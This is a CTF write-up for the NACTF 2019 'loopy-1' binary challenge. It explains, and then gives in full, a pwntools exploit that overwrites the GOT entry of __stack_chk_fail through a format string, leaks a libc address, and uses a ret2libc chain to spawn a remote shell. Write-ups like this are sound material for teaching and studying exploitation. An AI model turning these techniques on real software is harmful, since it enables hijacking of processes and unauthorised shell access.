The idea with this challenge is to be able to first overwrite `__stack_chk_fail()`'s GOT entry to `vuln()`, and then overwrite past the canary so that `__stack_chk_fail()` get's called, which in turn calls vuln.
After that is done, we can change the return address of the `vuln()` function to anything we want. The main idea is that any time we overwrite that return address, `__stack_chk_fail()` gets called, but everytime we ***DONT*** overwrite the return address, whatever is at the return address gets called. We need to keep chaining the exploit like this over and over again to achieve a) and info leak so we can find the libc base address by overwriting the return address with a `puts(puts@got);` call, followed by b) overwrite the return address with a `system("/bin/sh");` call.
```python#!/usr/bin/env python2
from pwn import *
elf = ELF('./loopy-1')libc = ELF('./libc-2.28.so')#p = process('./loopy-1')p = remote('shell.2019.nactf.com', 31732)
target = elf.got['__stack_chk_fail']printf = elf.plt['printf']printf_got = elf.got['printf']vuln = elf.symbols['vuln']
log.info('__stack_chk_fail: ' + hex(target))
context.terminal = ['tmux', 'new-window']#gdb.attach(p, 'b *vuln+97\n')
# Overwrite __stack_chk_fail's GOT address to vulnpayload = p32(target) # 4payload += p32(target+2) # 8payload += '%37274c%7$hn'payload += '%30306c%8$hn'payload += '|%23$x|'
# While we do that, also overwrite the return address with a call to printf# This printf call will leak printf's libc address# After this, jump back to vulnpayload += 'A'*41payload += p32(printf)payload += p32(vuln)payload += p32(printf_got)
p.sendlineafter('>', payload)
# Because the previous payload overwrites the canary, __stack_chk_fail gets called# __stack_chk_fail sends us back into vuln since thats what we overwrote it with# Back in vuln, we don't overwrite the canary this time, and vuln returns into printf from abovep.recvuntil('>')p.sendline('AAA|')p.recvuntil('|')
leak = u32(p.recvuntil('Type')[:-4][:4])libc.address = leak - libc.symbols['printf']system = libc.symbols['system']bin_sh = next(libc.search('/bin/sh'))
log.info('Leak: ' + hex(leak))log.info('Libc base: ' + hex(libc.address))log.info('system: ' + hex(system))log.info('/bin/sh: ' + hex(bin_sh))
# After the printf call, it returns back into vuln# This time, we overwrite the return address to call system('/bin/sh')# But remember, this will overwrite the canary so __stack_chk_fail will get called# and because __stack_chk_fail is overwritten with vuln's address, vuln is called againpayload = 'A'*80payload += p32(system)payload += p32(0xdeadbeef)payload += p32(bin_sh)
p.sendlineafter('>', payload)
# vuln is called again, we just send anything it doesn't matter so long as we don't overwrite the canary# vuln will return into system and call system('/bin/sh')p.sendlineafter('>', 'A')p.recv()
print '============================'print '====== SHELL OBTAINED ======'print '============================'print ''
p.interactive()```